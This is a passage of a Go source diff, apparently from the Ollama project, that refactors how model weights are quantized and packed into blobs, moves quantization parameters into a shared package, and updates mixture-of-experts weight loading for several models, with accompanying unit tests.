ts.Name, quantize: ts.Quantize, reader: reader, decodeFP8: needsFP8Decode(ts.Transform)}) + } else { + td, err := applyByteTransform(ts, sources) + if err != nil { + return LayerInfo{}, fmt.Errorf("blob %s: tensor %s: %w", spec.Name, ts.Name, err) + } + tensors = append(tensors, td) + } + } + + // The quantizer computes the blob's quant metadata itself and ignores + // spec.Metadata; today only prequant blobs carry Metadata and they never + // take the MLX path. + var r io.Reader + if needsMLX { + blobData, err := quantizeBlob(items) + if err != nil { + return LayerInfo{}, fmt.Errorf("quantize blob %s: %w", spec.Name, err) + } + r = bytes.NewReader(blobData) + } else { + r = safetensors.BuildPackedSafetensorsReaderWithMetadata(tensors, spec.Metadata) + } + + layer, err := store.WriteBlob(r, mediaTypeImageTensor, spec.Name) + if err != nil { + return LayerInfo{}, fmt.Errorf("write blob %s: %w", spec.Name, err) + } + return layer, nil +} + +// quantizeInputReader builds the safetensors-wrapped reader the quantizer +// consumes for one tensor: a paired weight+scale for FP8 decode, a byte-stacked +// 3D tensor for experts, or the tensor itself. The output tensor is always +// keyed by ts.Name so the quantizer can look it up by name. +func quantizeInputReader(ts TensorSpec, sources []*safetensors.TensorData) (io.Reader, error) { + switch ts.Transform { + case TransformNone: + if len(sources) != 1 { + return nil, fmt.Errorf("transform none expects 1 source, got %d", len(sources)) + } + return sources[0].WithName(ts.Name).SafetensorsReader(), nil + case TransformDecodeFP8: + if len(sources) != 2 { + return nil, fmt.Errorf("transform decode_fp8 expects weight+scale, got %d sources", len(sources)) + } + return buildSourceFP8Reader(sources[0].WithName(ts.Name), sources[1]), nil + case TransformDecodeStackFP8: + if len(sources) == 0 || len(sources)%2 != 0 { + return nil, fmt.Errorf("transform decode_stack_fp8 expects N weights followed by N scales, got %d sources", len(sources)) + } + n := len(sources) / 2 + weights, scales := sources[:n], sources[n:] + stackedWeight, err := stackExpertTensors(ts.Name, ts.OutDtype, ts.OutShape, weights) + if err != nil { + return nil, err + } + scaleShape := append([]int32{int32(n)}, scales[0].Shape...) + stackedScale, err := stackExpertTensors(ts.Name+".scale_inv", scales[0].Dtype, scaleShape, scales) + if err != nil { + return nil, err + } + return safetensors.BuildPackedSafetensorsReader([]*safetensors.TensorData{stackedWeight, stackedScale}), nil + case TransformStackExperts: + stacked, err := stackExpertTensors(ts.Name, ts.OutDtype, ts.OutShape, sources) + if err != nil { + return nil, err + } + return stacked.SafetensorsReader(), nil + default: + return nil, fmt.Errorf("transform %q is not supported for a quantized tensor", ts.Transform) + } +} + +// needsFP8Decode reports whether a transform dequantizes block-FP8 weights on +// the MLX thread (a single tensor or a stacked per-expert group). +func needsFP8Decode(t Transform) bool { + return t == TransformDecodeFP8 || t == TransformDecodeStackFP8 +} + +// blobNeedsMLX reports whether any of the blob's tensors require the MLX path +// — either a quantization target or an FP8 decode (which cannot be done with +// byte operations alone). +func blobNeedsMLX(spec BlobSpec) bool { + for _, ts := range spec.Tensors { + if ts.Quantize != "" || needsFP8Decode(ts.Transform) { + return true + } + } + return false +} + +// sourceFiles opens and caches the source safetensors files so each shard is +// opened once across all the blobs that read from it. +type sourceFiles struct { + dir string + cache map[string]*safetensors.TensorExtractor +} + +func newSourceFiles(dir string) *sourceFiles { + return &sourceFiles{dir: dir, cache: make(map[string]*safetensors.TensorExtractor)} +} + +func (s *sourceFiles) resolve(sources []SourceTensor) ([]*safetensors.TensorData, error) { + out := make([]*safetensors.TensorData, len(sources)) + for i, st := range sources { + ext, err := s.extractor(st.File) + if err != nil { + return nil, err + } + td, err := ext.GetTensor(st.Name) + if err != nil { + return nil, fmt.Errorf("read %s from %s: %w", st.Name, st.File, err) + } + out[i] = td + } + return out, nil +} + +func (s *sourceFiles) extractor(file string) (*safetensors.TensorExtractor, error) { + if ext, ok := s.cache[file]; ok { + return ext, nil + } + ext, err := safetensors.OpenForExtraction(filepath.Join(s.dir, file)) + if err != nil { + return nil, fmt.Errorf("open %s: %w", file, err) + } + s.cache[file] = ext + return ext, nil +} + +func (s *sourceFiles) close() { + for _, ext := range s.cache { + ext.Close() + } +} diff --git a/x/create/writer_test.go b/x/create/writer_test.go new file mode 100644 index 000000000..1d9df0049 --- /dev/null +++ b/x/create/writer_test.go @@ -0,0 +1,216 @@ +package create + +import ( + "encoding/binary" + "encoding/json" + "io" + "math" + "path/filepath" + "slices" + "sort" + "testing" + + st "github.com/ollama/ollama/x/safetensors" +) + +type captureStore struct{ blobs map[string][]byte } + +func newCaptureStore() *captureStore { return &captureStore{blobs: make(map[string][]byte)} } + +func (c *captureStore) WriteBlob(r io.Reader, mediaType, name string) (LayerInfo, error) { + data, err := io.ReadAll(r) + if err != nil { + return LayerInfo{}, err + } + c.blobs[name] = data + return LayerInfo{Name: name, MediaType: mediaType, Digest: "sha256:" + name, Size: int64(len(data))}, nil +} + +func (c *captureStore) names() []string { + out := make([]string, 0, len(c.blobs)) + for k := range c.blobs { + out = append(out, k) + } + sort.Strings(out) + return out +} + +type headerEntry struct { + Dtype string `json:"dtype"` + Shape []int32 `json:"shape"` +} + +func blobHeader(t *testing.T, data []byte) map[string]headerEntry { + t.Helper() + if len(data) < 8 { + t.Fatalf("blob too small: %d bytes", len(data)) + } + n := binary.LittleEndian.Uint64(data[:8]) + var raw map[string]json.RawMessage + if err := json.Unmarshal(data[8:8+n], &raw); err != nil { + t.Fatalf("parse header: %v", err) + } + out := make(map[string]headerEntry) + for k, v := range raw { + if k == "__metadata__" { + continue + } + var e headerEntry + if err := json.Unmarshal(v, &e); err != nil { + t.Fatalf("parse header entry %q: %v", k, err) + } + out[k] = e + } + return out +} + +func f32le(v float32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, math.Float32bits(v)) + return b +} + +func TestWriteBlobsCompressedNVFP4(t *testing.T) { + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"],"compression_config":{"format":"nvfp4-pack-quantized"}}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("linear.weight_packed", "U8", []int32{16, 8}, make([]byte, 16*8)), + st.NewTensorDataFromBytes("linear.weight_scale", "F8_E4M3", []int32{16, 1}, make([]byte, 16)), + st.NewTensorDataFromBytes("linear.weight_global_scale", "F32", []int32{}, f32le(4.0)), + st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{16}, make([]byte, 32)), + }) + + inv, err := ReadInventory(dir) + if err != nil { + t.Fatalf("ReadInventory() error = %v", err) + } + specs, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + + store := newCaptureStore() + if _, err := WriteBlobs(specs, dir, store); err != nil { + t.Fatalf("WriteBlobs() error = %v", err) + } + + fused, ok := store.blobs["linear.weight"] + if !ok { + t.Fatalf("missing fused blob; got %v", store.names()) + } + hdr := blobHeader(t, fused) + + if w := hdr["linear.weight"]; w.Dtype != "U32" || !slices.Equal(w.Shape, []int32{16, 2}) { + t.Errorf("fused weight = %+v, want U32 [16 2] (repacked)", w) + } + if s := hdr["linear.weight.scale"]; s.Dtype != "U8" { + t.Errorf("fused scale dtype = %q, want U8 (relabeled from F8_E4M3)", s.Dtype) + } + if g, ok := hdr["linear.weight.global_scale"]; !ok || g.Dtype != "F32" { + t.Errorf("fused global_scale = %+v ok=%v, want F32", g, ok) + } + // compressed-tensors stores the global scale inverted. + gs := readPackedTensorRaw(t, fused, "linear.weight.global_scale") + if got := math.Float32frombits(binary.LittleEndian.Uint32(gs)); got != 0.25 { + t.Errorf("global_scale = %v, want 0.25 (reciprocal of 4.0)", got) + } + + // the scale companion is folded in, not its own blob. + if _, leaked := store.blobs["linear.weight_scale"]; leaked { + t.Error("scale companion leaked as its own blob") + } + + // the norm passes through unchanged as its own blob. + norm, ok := store.blobs["norm.weight"] + if !ok { + t.Fatalf("missing norm blob; got %v", store.names()) + } + if nh := blobHeader(t, norm)["norm.weight"]; nh.Dtype != "BF16" || !slices.Equal(nh.Shape, []int32{16}) { + t.Errorf("norm = %+v, want BF16 [16]", nh) + } +} + +func TestWriteBlobsQuantizeFloat(t *testing.T) { + if !QuantizeSupported() { + t.Skip("MLX unavailable") + } + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), + st.NewTensorDataFromBytes("model.norm.weight", "BF16", []int32{128}, make([]byte, 128*2)), + }) + + inv, err := ReadInventory(dir) + if err != nil { + t.Fatalf("ReadInventory() error = %v", err) + } + specs, err := Plan(inv, Classification{Kind: SourceFloat, Quantize: "int4"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + store := newCaptureStore() + if _, err := WriteBlobs(specs, dir, store); err != nil { + t.Fatalf("WriteBlobs() error = %v", err) + } + + q, ok := store.blobs["model.layers.0.self_attn.q_proj.weight"] + if !ok { + t.Fatalf("missing q_proj blob; got %v", store.names()) + } + hdr := blobHeader(t, q) + if w := hdr["model.layers.0.self_attn.q_proj.weight"]; w.Dtype != "U32" { + t.Errorf("quantized weight dtype = %q, want U32 (packed int4)", w.Dtype) + } + if _, ok := hdr["model.layers.0.self_attn.q_proj.weight.scale"]; !ok { + t.Error("quantized blob missing scale") + } + + norm, ok := store.blobs["model.norm.weight"] + if !ok { + t.Fatalf("missing norm blob; got %v", store.names()) + } + if nh := blobHeader(t, norm)["model.norm.weight"]; nh.Dtype != "BF16" { + t.Errorf("norm dtype = %q, want BF16 (kept, not quantized)", nh.Dtype) + } +} + +func TestWriteBlobsBlockFP8Decode(t *testing.T) { + if !QuantizeSupported() { + t.Skip("MLX unavailable") + } + dir := t.TempDir() + writeConfigJSON(t, dir, `{"architectures":["TestModel"]}`) + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.layers.0.mlp.down_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), + st.NewTensorDataFromBytes("model.layers.0.mlp.down_proj.weight_scale_inv", "F32", []int32{1, 1}, f32le(1.0)), + }) + + inv, err := ReadInventory(dir) + if err != nil { + t.Fatalf("ReadInventory() error = %v", err) + } + specs, err := Plan(inv, Classification{Kind: SourceBlockFP8, Quantize: "mxfp8"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + store := newCaptureStore() + if _, err := WriteBlobs(specs, dir, store); err != nil { + t.Fatalf("WriteBlobs() error = %v", err) + } + + b, ok := store.blobs["model.layers.0.mlp.down_proj.weight"] + if !ok { + t.Fatalf("missing decoded blob; got %v", store.names()) + } + hdr := blobHeader(t, b) + if w := hdr["model.layers.0.mlp.down_proj.weight"]; w.Dtype != "U32" { + t.Errorf("decoded+quantized weight dtype = %q, want U32 (packed mxfp8)", w.Dtype) + } + if _, ok := hdr["model.layers.0.mlp.down_proj.weight.scale"]; !ok { + t.Error("mxfp8 blob missing scale") + } + if _, leaked := store.blobs["model.layers.0.mlp.down_proj.weight_scale_inv"]; leaked { + t.Error("fp8 scale companion leaked as its own blob") + } +} diff --git a/x/mlxrunner/model/quant.go b/x/mlxrunner/model/quant.go index fa6eae1b0..c027424a4 100644 --- a/x/mlxrunner/model/quant.go +++ b/x/mlxrunner/model/quant.go @@ -1,29 +1,15 @@ package model import ( - "strings" - "github.com/ollama/ollama/x/mlxrunner/mlx" + "github.com/ollama/ollama/x/quant" ) -// QuantizationParams returns default groupSize, bits, and mode for a quantization type. +// QuantizationParams returns default groupSize, bits, and mode for a +// quantization type. The values live in the shared x/quant package so the +// importer, the runtime loader, and `ollama show` agree on them. func QuantizationParams(quantization string) (groupSize, bits int, mode string) { - switch strings.ToUpper(quantization) { - case "NVFP4": - return 16, 4, "nvfp4" - case "MXFP4": - return 32, 4, "mxfp4" - case "FP4", "Q4", "INT4": - return 64, 4, "affine" - case "MXFP8": - return 32, 8, "mxfp8" - case "FP8", "Q8", "INT8": - return 64, 8, "affine" - case "": - return 0, 0, "" - default: - return 32, 8, "affine" - } + return quant.Params(quantization) } // TensorQuantParams resolves quant params for a tensor using per-tensor metadata diff --git a/x/models/cohere2_moe/cohere2_moe.go b/x/models/cohere2_moe/cohere2_moe.go index 5b14b13b5..5565f9b1f 100644 --- a/x/models/cohere2_moe/cohere2_moe.go +++ b/x/models/cohere2_moe/cohere2_moe.go @@ -446,6 +446,16 @@ func loadStackedProjection(tensors map[string]*mlx.Array, cfg *Config, useQuanti } } +// loadStackedExperts resolves a stacked expert projection by its close-to-source +// name (layers.N.mlp.experts., which `ollama create` now writes) and falls +// back to the legacy switch_mlp name that older imports produced. +func loadStackedExperts(tensors map[string]*mlx.Array, cfg *Config, useQuantized bool, layerPrefix, proj string) *stackedExpertWeights { + if w := loadStackedProjection(tensors, cfg, useQuantized, layerPrefix+".mlp.experts."+proj); w != nil { + return w + } + return loadStackedProjection(tensors, cfg, useQuantized, layerPrefix+".mlp.switch_mlp."+proj) +} + // LoadWeights assigns tensors to model fields. func (m *Model) LoadWeights(tensors map[string]*mlx.Array) error { cfg := m.Config @@ -527,11 +537,11 @@ func (m *Model) LoadWeights(tensors map[string]*mlx.Array) error { return fmt.Errorf("layer %d: missing moe router gate", i) } - gateW := loadStackedProjection(tensors, cfg, useQuantizedExperts, layerPrefix+".mlp.switch_mlp.gate_proj") - upW := loadStackedProjection(tensors, cfg, useQuantizedExperts, layerPrefix+".mlp.switch_mlp.up_proj") - downW := loadStackedProjection(tensors, cfg, useQuantizedExperts, layerPrefix+".mlp.switch_mlp.down_proj") + gateW := loadStackedExperts(tensors, cfg, useQuantizedExperts, layerPrefix, "gate_proj") + upW := loadStackedExperts(tensors, cfg, useQuantizedExperts, layerPrefix, "up_proj") + downW := loadStackedExperts(tensors, cfg, useQuantizedExperts, layerPrefix, "down_proj") if gateW == nil || upW == nil || downW == nil { - return fmt.Errorf("layer %d: missing stacked switch_mlp expert weights (import the model with `ollama create`)", i) + return fmt.Errorf("layer %d: missing stacked expert weights (import the model with `ollama create`)", i) } switchMLP := &SwitchMLP{} diff --git a/x/models/gemma4/gemma4.go b/x/models/gemma4/gemma4.go index ff77864d0..515c4a5d7 100644 --- a/x/models/gemma4/gemma4.go +++ b/x/models/gemma4/gemma4.go @@ -5,6 +5,7 @@ import ( "encoding/json" "fmt" "math" + "strings" "github.com/ollama/ollama/x/mlxrunner/batch" "github.com/ollama/ollama/x/mlxrunner/cache" @@ -154,6 +155,17 @@ func firstNonNil(tensors map[string]*mlx.Array, keys ...string) *mlx.Array { return nil } +// firstTensorKey returns the first key present in tensors along with its +// tensor, or "", nil if none of the keys are present. +func firstTensorKey(tensors map[string]*mlx.Array, keys ...string) (string, *mlx.Array) { + for _, k := range keys { + if t := tensors[k]; t != nil { + return k, t + } + } + return "", nil +} + // sliceAxis1 slices a tensor along axis 1: a[:, start:stop, ...]. func sliceAxis1(a *mlx.Array, start, stop int32) *mlx.Array { dims := a.Dims() @@ -243,44 +255,36 @@ func collectExpertProjection(tensors map[string]*mlx.Array, cfg *TextConfig, pre return out } -// loadFusedExperts populates moe with a stacked-3D fused gate_up + down expert -// pair, choosing the quantized GatherQMM path when scale sidecars are present -// and the dense GatherMM path otherwise. gateUpW/downW are the stacked tensors -// and gateUpKey/downKey are their map keys, used to locate the _scale/_qbias -// sidecars and per-tensor quant metadata. Shared by the .experts./.moe. -// pre-stacked names and the .moe.switch_mlp. names so all fused layouts load -// identically. -func loadFusedExperts(tensors map[string]*mlx.Array, cfg *TextConfig, moe *MoEBlock, gateUpW *mlx.Array, gateUpKey string, downW *mlx.Array, downKey string) { +// loadFusedExperts configures an MoE block from a fused, pre-stacked gate_up +// projection and its down projection. It keeps the fused gate_up as a single +// tensor and chooses GatherQMM (one quantized call) when scale companions are +// present, or GatherMM otherwise. It is name-agnostic: callers resolve the +// tensor keys, which may or may not carry a ".weight" suffix. +func (m *Model) loadFusedExperts(moe *MoEBlock, tensors map[string]*mlx.Array, gateUpKey string, gateUp *mlx.Array, downKey string, down *mlx.Array) { moe.UseFusedGateUp = true gateUpScales := firstNonNil(tensors, gateUpKey+"_scale", gateUpKey+".scale") downScales := firstNonNil(tensors, downKey+"_scale", downKey+".scale") if gateUpScales == nil || downScales == nil { - // Unquantized: keep fused and transpose for GatherMM ([experts, in, out]). - moe.GateUpWeight = transposeForGatherMM(gateUpW) - moe.DownWeight = transposeForGatherMM(downW) + // Dense: keep gate_up fused and transpose for GatherMM. + moe.GateUpWeight = transposeForGatherMM(gateUp) + moe.DownWeight = transposeForGatherMM(down) return } - // Quantized (affine/nvfp4/mxfp8): keep fused as a single tensor for one - // GatherQMM call instead of two. No transpose. nvfp4/mxfp8 carry no qbias, - // and this path does not apply nvfp4's optional double-scale global_scale. + // Quantized: keep the fused gate_up packed for a single GatherQMM call. moe.UseQuantized = true - moe.GateUpWeightQ = gateUpW + moe.GateUpWeightQ = gateUp moe.GateUpScales = gateUpScales moe.GateUpBiases = firstNonNil(tensors, gateUpKey+"_qbias", gateUpKey+".bias") - moe.DownWeightQ = downW + moe.DownWeightQ = down moe.DownScales = downScales moe.DownBiases = firstNonNil(tensors, downKey+"_qbias", downKey+".bias") moe.GateUpGroupSize, moe.GateUpBits, moe.QuantMode = model.ResolveLinearQuantParams( - cfg.QuantGroupSize, cfg.QuantBits, cfg.QuantMode, - cfg.TensorQuant, gateUpKey, gateUpW, gateUpScales, - ) + m.QuantGroupSize, m.QuantBits, m.QuantMode, m.TensorQuant, gateUpKey, gateUp, gateUpScales) moe.DownGroupSize, moe.DownBits, moe.DownQuantMode = model.ResolveLinearQuantParams( - cfg.QuantGroupSize, cfg.QuantBits, cfg.QuantMode, - cfg.TensorQuant, downKey, downW, downScales, - ) + m.QuantGroupSize, m.QuantBits, m.QuantMode, m.TensorQuant, downKey, down, downScales) } // Router implements Gemma 4's expert routing mechanism. @@ -801,70 +805,34 @@ func (m *Model) LoadWeights(tensors map[string]*mlx.Array) error { moe := &MoEBlock{PerExpertScale: perExpertScale} - // Check for pre-stacked tensors (BF16 or quantized HF format). - // Try .experts. first (new weight drop), fall back to .moe. (old - // format). Track the matched key so loadFusedExperts can find the - // quant sidecars. - gateUpKey := layerPrefix + ".experts.gate_up_proj" - gateUpW := tensors[gateUpKey] - if gateUpW == nil { - gateUpKey = layerPrefix + ".moe.gate_up_proj" - gateUpW = tensors[gateUpKey] - } - gateW := tensors[layerPrefix+".experts.gate_proj"] - if gateW == nil { - gateW = tensors[layerPrefix+".moe.gate_proj"] - } - if gateUpW != nil { - // Fused gate+up (dense or quantized): split happens at matmul time. - downKey := layerPrefix + ".experts.down_proj" - downW := tensors[downKey] - if downW == nil { - downKey = layerPrefix + ".moe.down_proj" - downW = tensors[downKey] + // Experts ship with gate+up fused into one pre-stacked tensor under + // a few different names: HF (.experts./.moe.) and the create + // pipeline (.moe.switch_mlp.), each with or without a ".weight" + // suffix. Resolve the gate_up projection once, then let + // loadFusedExperts decide quantized vs dense from its scales. + if gateUpKey, gateUp := firstTensorKey(tensors, + layerPrefix+".experts.gate_up_proj.weight", layerPrefix+".experts.gate_up_proj", + layerPrefix+".moe.gate_up_proj.weight", layerPrefix+".moe.gate_up_proj", + layerPrefix+".moe.switch_mlp.gate_up_proj.weight", layerPrefix+".moe.switch_mlp.gate_up_proj", + ); gateUp != nil { + downKey := strings.Replace(gateUpKey, "gate_up_proj", "down_proj", 1) + down := tensors[downKey] + if down == nil { + return fmt.Errorf("layer %d: missing MoE down_proj for fused gate_up_proj %q", i, gateUpKey) } - if downW == nil { - return fmt.Errorf("layer %d: missing MoE down_proj with fused gate_up_proj", i) - } - loadFusedExperts(tensors, m.TextConfig, moe, gateUpW, gateUpKey, downW, downKey) - } else if gateW != nil { - // Separate gate_proj and up_proj (older format). Transpose for GatherMM. + m.loadFusedExperts(moe, tensors, gateUpKey, gateUp, downKey, down) + } else if gateW := firstNonNil(tensors, + layerPrefix+".experts.gate_proj", layerPrefix+".moe.gate_proj"); gateW != nil { + // Separate (non-fused) pre-stacked gate/up projections (older HF + // layout, dense only). Transpose for GatherMM. moe.GateWeight = transposeForGatherMM(gateW) - upW := tensors[layerPrefix+".experts.up_proj"] - if upW == nil { - upW = tensors[layerPrefix+".moe.up_proj"] - } - downW := tensors[layerPrefix+".experts.down_proj"] - if downW == nil { - downW = tensors[layerPrefix+".moe.down_proj"] - } - moe.UpWeight = transposeForGatherMM(upW) - moe.DownWeight = transposeForGatherMM(downW) + moe.UpWeight = transposeForGatherMM(firstNonNil(tensors, + layerPrefix+".experts.up_proj", layerPrefix+".moe.up_proj")) + moe.DownWeight = transposeForGatherMM(firstNonNil(tensors, + layerPrefix+".experts.down_proj", layerPrefix+".moe.down_proj")) if moe.UpWeight == nil || moe.DownWeight == nil { return fmt.Errorf("layer %d: incomplete pre-stacked MoE weights", i) } - } else if switchGateUp := firstNonNil(tensors, - layerPrefix+".moe.switch_mlp.gate_up_proj.weight", - layerPrefix+".moe.switch_mlp.gate_up_proj"); switchGateUp != nil { - // Stacked switch_mlp format (from create pipeline with expert packing). - switchDown := firstNonNil(tensors, - layerPrefix+".moe.switch_mlp.down_proj.weight", - layerPrefix+".moe.switch_mlp.down_proj") - if switchDown == nil { - return fmt.Errorf("layer %d: missing switch_mlp down_proj", i) - } - - // Resolve base keys: the scale/bias suffix attaches to whichever - // of .weight / bare matched the weight tensor. - gateUpKey := layerPrefix + ".moe.switch_mlp.gate_up_proj.weight" - if tensors[gateUpKey] == nil { - gateUpKey = layerPrefix + ".moe.switch_mlp.gate_up_proj" - } - downKey := layerPrefix + ".moe.switch_mlp.down_proj.weight" - if tensors[downKey] == nil { - downKey = layerPrefix + ".moe.switch_mlp.down_proj" - } - loadFusedExperts(tensors, m.TextConfig, moe, switchGateUp, gateUpKey, switchDown, downKey) } else { // Per-expert tensors (from create path). // Try separate gate_proj/up_proj first, then fused gate_up_proj. diff --git a/x/models/gemma4/gemma4_moe_test.go b/x/models/gemma4/gemma4_moe_test.go index e7ea5cc28..4fae76067 100644 --- a/x/models/gemma4/gemma4_moe_test.go +++ b/x/models/gemma4/gemma4_moe_test.go @@ -141,6 +141,88 @@ func TestMoEBlockSortedForward(t *testing.T) { } } +// TestLoadFusedExpertsQuantized verifies that a quantized, fused gate_up +// projection is loaded onto the GatherQMM path under every name the experts +// ship as — including gemma's bare ".experts." name, which previously fell +// through to the dense branch and was loaded unquantized (the memory bloat +// bug this fix addresses). +func TestLoadFusedExpertsQuantized(t *testing.T) { + skipIfNoMLX(t) + + const E, I, H = 4, 8, 16 + m := &Model{TextConfig: &TextConfig{QuantGroupSize: 16, QuantBits: 4, QuantMode: "nvfp4"}} + + for _, prefix := range []string{ + "model.language_model.layers.0.experts", // gemma HF (bare .experts.) + "model.language_model.layers.0.moe.switch_mlp", // create pipeline + } { + t.Run(prefix, func(t *testing.T) { + gateUpKey := prefix + ".gate_up_proj" + downKey := prefix + ".down_proj" + tensors := map[string]*mlx.Array{ + gateUpKey: onesLike(E, 2*I, H), + gateUpKey + "_scale": onesLike(E, 2*I, H/16), + gateUpKey + "_qbias": onesLike(E, 2*I, H/16), + downKey: onesLike(E, H, I), + downKey + "_scale": onesLike(E, H, I/16), + downKey + "_qbias": onesLike(E, H, I/16), + } + + moe := &MoEBlock{} + m.loadFusedExperts(moe, tensors, gateUpKey, tensors[gateUpKey], downKey, tensors[downKey]) + + if !moe.UseQuantized { + t.Error("UseQuantized = false, want true") + } + if !moe.UseFusedGateUp { + t.Error("UseFusedGateUp = false, want true") + } + if moe.GateUpWeightQ == nil || moe.GateUpScales == nil || moe.GateUpBiases == nil { + t.Error("quantized gate_up weight/scale/bias not all set") + } + if moe.DownWeightQ == nil || moe.DownScales == nil || moe.DownBiases == nil { + t.Error("quantized down weight/scale/bias not all set") + } + // Dense fields must stay nil so Forward takes the GatherQMM path. + if moe.GateUpWeight != nil || moe.DownWeight != nil { + t.Error("dense weights set on a quantized block") + } + }) + } +} + +// TestLoadFusedExpertsDense verifies that a fused gate_up projection with no +// scale companions is loaded onto the dense GatherMM path, kept fused. +func TestLoadFusedExpertsDense(t *testing.T) { + skipIfNoMLX(t) + + const E, I, H = 4, 8, 16 + m := &Model{TextConfig: &TextConfig{}} + + gateUpKey := "model.language_model.layers.0.experts.gate_up_proj" + downKey := "model.language_model.layers.0.experts.down_proj" + tensors := map[string]*mlx.Array{ + gateUpKey: onesLike(E, 2*I, H), + downKey: onesLike(E, I, H), + } + + moe := &MoEBlock{} + m.loadFusedExperts(moe, tensors, gateUpKey, tensors[gateUpKey], downKey, tensors[downKey]) + + if moe.UseQuantized { + t.Error("UseQuantized = true, want false (no scales present)") + } + if !moe.UseFusedGateUp { + t.Error("UseFusedGateUp = false, want true") + } + if moe.GateUpWeight == nil || moe.DownWeight == nil { + t.Error("dense fused weights not set") + } + if moe.GateUpWeightQ != nil || moe.DownWeightQ != nil { + t.Error("quantized weights set on a dense block") + } +} + // TestRouterForwardMatchesLegacy verifies the optimized Router.Forward — // which takes the top-k of the raw logits and softmaxes only the selected // values — produces the same indices and (within tolerance) the same diff --git a/x/models/glm4_moe_lite/glm4_moe_lite.go b/x/models/glm4_moe_lite/glm4_moe_lite.go index 76494185a..65f84e439 100644 --- a/x/models/glm4_moe_lite/glm4_moe_lite.go +++ b/x/models/glm4_moe_lite/glm4_moe_lite.go @@ -418,6 +418,41 @@ type StackedExpertWeights struct { GroupSize int } +// loadStackedProjection loads an expert projection stored as a single stacked +// 3D tensor, or nil if base isn't present. +func loadStackedProjection(tensors map[string]*mlx.Array, base string, useQuantized bool, cfg *Config) *StackedExpertWeights { + key := base + ".weight" + w := tensors[key] + if w == nil { + return nil + } + + scales := tensors[key+"_scale"] + if scales == nil { + return &StackedExpertWeights{Weight: w} + } + + qbiases := tensors[key+"_qbias"] + groupSize, bits, mode := model.ResolveLinearQuantParams( + cfg.QuantGroupSize, cfg.QuantBits, cfg.QuantMode, cfg.TensorQuant, + key, w, scales, + ) + if useQuantized && supportsGatherQMM(mode, bits) { + return &StackedExpertWeights{Weight: w, Scales: scales, Biases: qbiases, Bits: bits, GroupSize: groupSize} + } + + return &StackedExpertWeights{Weight: mlx.Dequantize(w, scales, qbiases, groupSize, bits, mode)} +} + +// loadStackedExperts loads a stacked expert projection by its .experts name, +// falling back to the switch_mlp name older imports use. +func loadStackedExperts(tensors map[string]*mlx.Array, prefix, projName string, useQuantized bool, cfg *Config) *StackedExpertWeights { + if w := loadStackedProjection(tensors, prefix+".mlp.experts."+projName, useQuantized, cfg); w != nil { + return w + } + return loadStackedProjection(tensors, prefix+".mlp.switch_mlp."+projName, useQuantized, cfg) +} + // collectAndStackExpertWeights loads and stacks expert weights for one projection type. func collectAndStackExpertWeights( tensors map[string]*mlx.Array, @@ -462,8 +497,15 @@ func collectAndStackExpertWeights( return result } -// sanitizeExpertWeights stacks individual expert weights into tensors. +// sanitizeExpertWeights resolves the three MoE projections, preferring the +// stacked on-disk layout and falling back to per-expert tensors. func sanitizeExpertWeights(tensors map[string]*mlx.Array, prefix string, numExperts int32, useQuantized bool, cfg *Config) (gate, up, down *StackedExpertWeights) { + gate = loadStackedExperts(tensors, prefix, "gate_proj", useQuantized, cfg) + up = loadStackedExperts(tensors, prefix, "up_proj", useQuantized, cfg) + down = loadStackedExperts(tensors, prefix, "down_proj", useQuantized, cfg) + if gate != nil && up != nil && down != nil { + return gate, up, down + } gate = collectAndStackExpertWeights(tensors, prefix, "gate_proj", numExperts, useQuantized, cfg) up = collectAndStackExpertWeights(tensors, prefix, "up_proj", numExperts, useQuantized, cfg) down = collectAndStackExpertWeights(tensors, prefix, "down_proj", numExperts, useQuantized, cfg) diff --git a/x/quant/quant.go b/x/quant/quant.go new file mode 100644 index 000000000..5564b2a04 --- /dev/null +++ b/x/quant/quant.go @@ -0,0 +1,79 @@ +// Package quant holds the quantization format facts shared by the model +// importer, the runtime loader, and `ollama show`. It deliberately has no +// dependency on the MLX C library, so any package can use it without pulling +// in cgo — which is what keeps these facts from drifting between separate +// hand-maintained copies. +package quant + +import "strings" + +type params struct { + groupSize int + bits int + mode string +} + +// byType maps each canonical quantization type to its parameters. Aliases are +// resolved to a canonical name by Canonical before lookup. +var byType = map[string]params{ + "nvfp4": {groupSize: 16, bits: 4, mode: "nvfp4"}, + "mxfp4": {groupSize: 32, bits: 4, mode: "mxfp4"}, + "int4": {groupSize: 64, bits: 4, mode: "affine"}, + "mxfp8": {groupSize: 32, bits: 8, mode: "mxfp8"}, + "int8": {groupSize: 64, bits: 8, mode: "affine"}, +} + +// Canonical returns the canonical name for a quantization type, resolving +// aliases (for example "FP8" and "Q8" both map to "int8"). It returns "" for +// the empty string and for any type it does not recognize. +func Canonical(quantType string) string { + switch strings.ToUpper(strings.TrimSpace(quantType)) { + case "NVFP4": + return "nvfp4" + case "MXFP4": + return "mxfp4" + case "MXFP8": + return "mxfp8" + case "INT4", "FP4", "Q4": + return "int4" + case "INT8", "FP8", "Q8": + return "int8" + default: + return "" + } +} + +// Params returns the default group size, bit width, and mode for a +// quantization type. The empty string returns zeros. An unrecognized +// non-empty type falls back to 8-bit affine, matching the runtime loader's +// historical leniency toward unexpected metadata. +func Params(quantType string) (groupSize, bits int, mode string) { + if strings.TrimSpace(quantType) == "" { + return 0, 0, "" + } + if p, ok := byType[Canonical(quantType)]; ok { + return p.groupSize, p.bits, p.mode + } + return 32, 8, "affine" +} + +// Bits returns the bit width of a recognized quantization type, or 0 if the +// type is empty or unrecognized. Unlike Params it applies no fallback, so +// callers that size or display tensors never act on an unknown type. +func 